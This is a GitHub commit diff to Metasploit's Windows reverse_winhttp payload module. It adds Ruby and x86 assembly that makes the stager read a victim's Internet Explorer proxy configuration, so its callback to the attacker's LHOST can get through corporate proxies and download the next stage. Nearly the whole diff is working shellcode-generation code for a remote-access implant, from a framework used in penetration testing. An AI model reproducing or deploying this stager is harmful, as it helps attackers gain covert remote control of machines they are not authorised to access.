Skip to content

Commit 78176c4

Browse files
committed
First pass of IE proxy support for winhttp x86
1 parent 7f59a74 commit 78176c4

File tree

1 file changed

+141
-7
lines changed

1 file changed

+141
-7
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 141 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,16 @@ module Payload::Windows::ReverseWinHttp
1919
include Msf::Payload::TransportConfig
2020
include Msf::Payload::Windows::ReverseHttp
2121

22+
#
23+
# Register reverse_http specific options
24+
#
25+
def initialize(*args)
26+
super
27+
register_advanced_options([
28+
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
29+
], self.class)
30+
end
31+
2232
#
2333
# Generate the first stage
2434
#
@@ -27,21 +37,21 @@ def generate(opts={})
2737
ssl: opts[:ssl] || false,
2838
host: datastore['LHOST'],
2939
port: datastore['LPORT'],
30-
url: generate_small_uri,
31-
retry_count: datastore['StagerRetryCount']
40+
uri: generate_small_uri,
41+
retry_count: datastore['StagerRetryCount'],
42+
proxy_ie: datastore['PayloadProxyIE']
3243
}
3344

3445
# Add extra options if we have enough space
3546
unless self.available_space.nil? || required_space > self.available_space
36-
conf[:url] = generate_uri
47+
conf[:uri] = generate_uri
3748
conf[:exitfunk] = datastore['EXITFUNC']
3849
conf[:verify_cert_hash] = opts[:verify_cert_hash]
3950
conf[:proxy_host] = datastore['PayloadProxyHost']
4051
conf[:proxy_port] = datastore['PayloadProxyPort']
4152
conf[:proxy_user] = datastore['PayloadProxyUser']
4253
conf[:proxy_pass] = datastore['PayloadProxyPass']
4354
conf[:proxy_type] = datastore['PayloadProxyType']
44-
conf[:retry_count] = datastore['StagerRetryCount']
4555
end
4656

4757
generate_reverse_winhttp(conf)
@@ -105,7 +115,7 @@ def asm_generate_wchar_array(str)
105115
# Generate an assembly stub with the configured feature set and options.
106116
#
107117
# @option opts [Bool] :ssl Whether or not to enable SSL
108-
# @option opts [String] :url The URI to request during staging
118+
# @option opts [String] :uri The URI to request during staging
109119
# @option opts [String] :host The host to connect to
110120
# @option opts [Fixnum] :port The port to connect to
111121
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -117,9 +127,22 @@ def asm_reverse_winhttp(opts={})
117127
retry_count = [opts[:retry_count].to_i, 1].max
118128
verify_ssl = nil
119129
encoded_cert_hash = nil
120-
encoded_url = asm_generate_wchar_array(opts[:url])
130+
encoded_uri = asm_generate_wchar_array(opts[:uri])
121131
encoded_host = asm_generate_wchar_array(opts[:host])
122132

133+
# this is used by the IE proxy functionality when an autoconfiguration URL
134+
# is specified. We need the full URL otherwise the call to resolve the proxy
135+
# for the URL doesn't work.
136+
full_url = 'http'
137+
full_url << 's' if opts[:ssl]
138+
full_url << '://' << opts[:host]
139+
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
140+
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
141+
full_url << opts[:uri]
142+
143+
encoded_full_url = asm_generate_wchar_array(full_url)
144+
encoded_uri_index = full_url.rindex('/') * 2
145+
123146
if opts[:ssl] && opts[:verify_cert_hash]
124147
verify_ssl = true
125148
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
@@ -164,6 +187,14 @@ def asm_reverse_winhttp(opts={})
164187
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
165188
end
166189

190+
ie_proxy_autodect = (
191+
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
192+
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
193+
194+
ie_proxy_flags = (
195+
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
196+
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
197+
167198
asm = %Q^
168199
; Input: EBP must be the address of 'api_call'.
169200
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@@ -218,14 +249,34 @@ def asm_reverse_winhttp(opts={})
218249
^
219250
end
220251

252+
if opts[:proxy_ie] == true && !proxy_enabled
253+
asm << %Q^
254+
push eax ; Session handle is required later for ie proxy
255+
^
256+
end
257+
221258
asm << %Q^
222259
WinHttpConnect:
223260
push ebx ; Reserved (NULL)
224261
push #{opts[:port]} ; Port [3]
225262
call got_server_uri ; Double call to get pointer for both server_uri and
226263
server_uri: ; server_host; server_uri is saved in edi for later
227-
db #{encoded_url}
264+
^
265+
266+
if opts[:proxy_ie] == true && !proxy_enabled
267+
asm << %Q^
268+
db #{encoded_full_url}
228269
got_server_host:
270+
add edi, #{encoded_uri_index} ; move edi up to where the URI starts
271+
^
272+
else
273+
asm << %Q^
274+
db #{encoded_uri}
275+
got_server_host:
276+
^
277+
end
278+
279+
asm << %Q^
229280
push eax ; Session handle returned by WinHttpOpen
230281
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
231282
call ebp
@@ -275,6 +326,89 @@ def asm_reverse_winhttp(opts={})
275326
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
276327
call ebp
277328
^
329+
elsif opts[:proxy_ie] == true
330+
asm << %Q^
331+
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
332+
; a 16-byte structure
333+
sub esp, 16
334+
mov eax, esp ; store a pointer to the buffer
335+
push edi ; store the current URL in case it's needed
336+
mov edi, eax ; put the buffer pointer in edi
337+
push edi ; Push a pointer to the buffer
338+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}
339+
call ebp
340+
341+
test eax, eax ; skip the rest of the proxy stuff if the call failed
342+
jz ie_proxy_setup_finish
343+
344+
; check the "auto detect" flag to see if it's set, if it is, jump to the
345+
; end and let things carry on as they were
346+
mov eax, [edi]
347+
test eax, eax
348+
jnz ie_proxy_setup_finish
349+
350+
; if auto detect isn't on, check if there's an auto configuration URL
351+
mov eax, [edi+4]
352+
test eax, eax
353+
jz ie_proxy_manual
354+
355+
; restore the URL we need to reference
356+
pop edx
357+
sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts
358+
359+
; set up the autoproxy structure on the stack
360+
push 1 ; fAutoLogonIfChallenged (1=TRUE)
361+
push ebx ; dwReserved (0)
362+
push ebx ; lpReserved (NULL)
363+
push eax ; lpszAutoConfigUrl
364+
push #{ie_proxy_autodect} ; dwAutoDetectFlags
365+
push #{ie_proxy_flags} ; dwFlags
366+
mov eax, esp
367+
368+
; prepare space for the resulting proxy info structure
369+
sub esp, 12
370+
mov edi, esp ; store the proxy pointer
371+
372+
; prepare the WinHttpGetProxyForUrl call
373+
push edi ; pProxyInfo
374+
push eax ; pAutoProxyOptions
375+
push edx ; lpcwszUrl
376+
lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
377+
push [eax] ; hSession
378+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}
379+
call ebp
380+
381+
test eax, eax ; skip the rest of the proxy stuff if the call failed
382+
jz ie_proxy_setup_finish
383+
jmp set_ie_proxy ; edi points to the filled out proxy structure
384+
385+
ie_proxy_manual:
386+
; check to see if a manual proxy is specified, if not, we skip
387+
mov eax, [edi+8]
388+
test eax, eax
389+
jz ie_proxy_setup_finish
390+
391+
; manual proxy present, set up the proxy info structure by patching the
392+
; existing current user IE structure that is in edi
393+
push 4
394+
pop eax
395+
add edi, eax ; skip over the fAutoDetect flag
396+
dec eax
397+
mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
398+
399+
; fallthrough to set the ie proxy
400+
401+
set_ie_proxy:
402+
; we assume that edi is going to point to the proxy options
403+
push 12 ; dwBufferLength (sizeof proxy options)
404+
push edi ; lpBuffer (pointer to the proxy)
405+
push 38 ; dwOption (WINHTTP_OPTION_PROXY)
406+
push esi ; hRequest
407+
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
408+
call ebp
409+
410+
ie_proxy_setup_finish:
411+
^
278412
end
279413

280414
if opts[:ssl]

0 commit comments

Comments
 (0)